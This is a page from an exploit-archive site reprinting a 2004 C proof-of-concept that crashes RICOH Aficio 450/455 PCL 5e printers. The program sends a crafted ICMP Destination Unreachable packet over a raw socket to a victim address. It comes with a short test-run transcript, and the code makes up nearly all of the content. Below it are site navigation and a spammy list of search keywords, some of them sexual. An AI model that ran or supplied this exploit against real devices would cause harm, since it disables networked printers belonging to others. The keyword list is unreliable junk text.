about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , RICOH Aficio 450/455 PCL 5e Printer ICMP Remote DoS Exploit



2004-12-15 RICOH Aficio 450/455 PCL 5e Printer ICMP Remote DoS Exploit
/*
 * RICOH Aficio 450/455 PCL 5e Printer ICMP DOS vulnerability Exploit.
 * DATE: 12.15.2004
 * Vuln Advisory : Hongzhen Zhou<felix__zhou _at_ hotmail _dot_
com>
 * Exploit Writer : x90c(Kyong Joo)@www.chollian.net/~jyj9782
 *
 * Testing -----------------------------------------------
 * root@testbed:~/raw# gcc -o rpcl_icmpdos rpcl_icmpdos.c
 * root@testbed:~/raw# ./rpcl_icmpdos
 * Usage: ./rpcl_icmpdos <victim>
 * root@testbed:~/raw# ./rpcl_icmpdos 192.168.2.4
 * exploit sent ok() = ..x-_-x..
 * root@testbed:~/raw# 
 * 
 */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<linux/ip.h>
#include<linux/icmp.h>

unsigned short cksum(unsigned short *buf, int len);

struct icmp_packet{
	struct icmphdr icmp;
	struct iphdr inip;
	unsigned char bigger[90]; // STEP1: Bigger Data(ICMP Header(8)+ inip(20)
+ 90(bigger
data))
} packet;


/* ########################
 * # Entry Point #
 * ########################
*/

int main(int argc, char *argv[]){
struct sockaddr_in ca;
int sockfd, ret;

if(argc<2){
	printf("Usage: %s <victim>\n", argv[0]);
	exit(-1);
}
	
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

memset(&packet, 0, sizeof(packet));

packet.icmp.type = 3;				// STEP2: Destination Unreachable.
packet.icmp.code = 1;
packet.icmp.un.echo.id = getpid();
packet.icmp.un.echo.sequence = 0;

packet.inip.ihl = 5;
packet.inip.version = 4;
packet.inip.tot_len = htons(20);
packet.inip.id = htons(9090);
packet.inip.ttl = 90;
packet.inip.protocol = IPPROTO_TCP;		// STEP3: IPPROTO_UDP also useable.
packet.inip.saddr = inet_addr("127.0.0.1");
packet.inip.daddr = inet_addr("127.0.0.1");
packet.inip.check = (unsigned short) cksum((unsigned short *)&packet.inip,
20);

packet.icmp.checksum = cksum((void *)&packet, sizeof(packet));

memset(&ca, 0, sizeof(ca));
ca.sin_family = AF_INET;
ca.sin_addr.s_addr = inet_addr(argv[1]);


if((sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&ca,
sizeof(ca)))
== sizeof(packet))
	printf("exploit sent ok() = ..x-_-x..\n");
else 	
	printf("exploit sent failed() = ..o^O^o..\n");


close(sockfd);

}


/* ########################
 * # Internet Checksum #
 * ########################
*/

unsigned short cksum(unsigned short *buf, int len){
register unsigned long sum;

for(sum = 0; len > 0; len--) sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
securitydot.net - 2004-12-15

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 08:46:59 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
php nuke d edit linux 2.4 www.trish www.animls Mobile sex down load xxxmovie news for c Netgear DG sexyphoto. t828t SEX DVD myspace.co www .wolds www.sex fa mambo Remo Samirasexy videosexs 09270046 t230t CMS is Fre indian sex news for c t295t CMS is Fre nder geourdunew 2.4.3 remote buf trisha kri canon C...ka per t26t Pono aquila.com Www.xnx.co aflam t26t indian sex mirror 200 /compo fit girl s t230t photo www.xstrea maxthon t230t php-nuke 2 t749t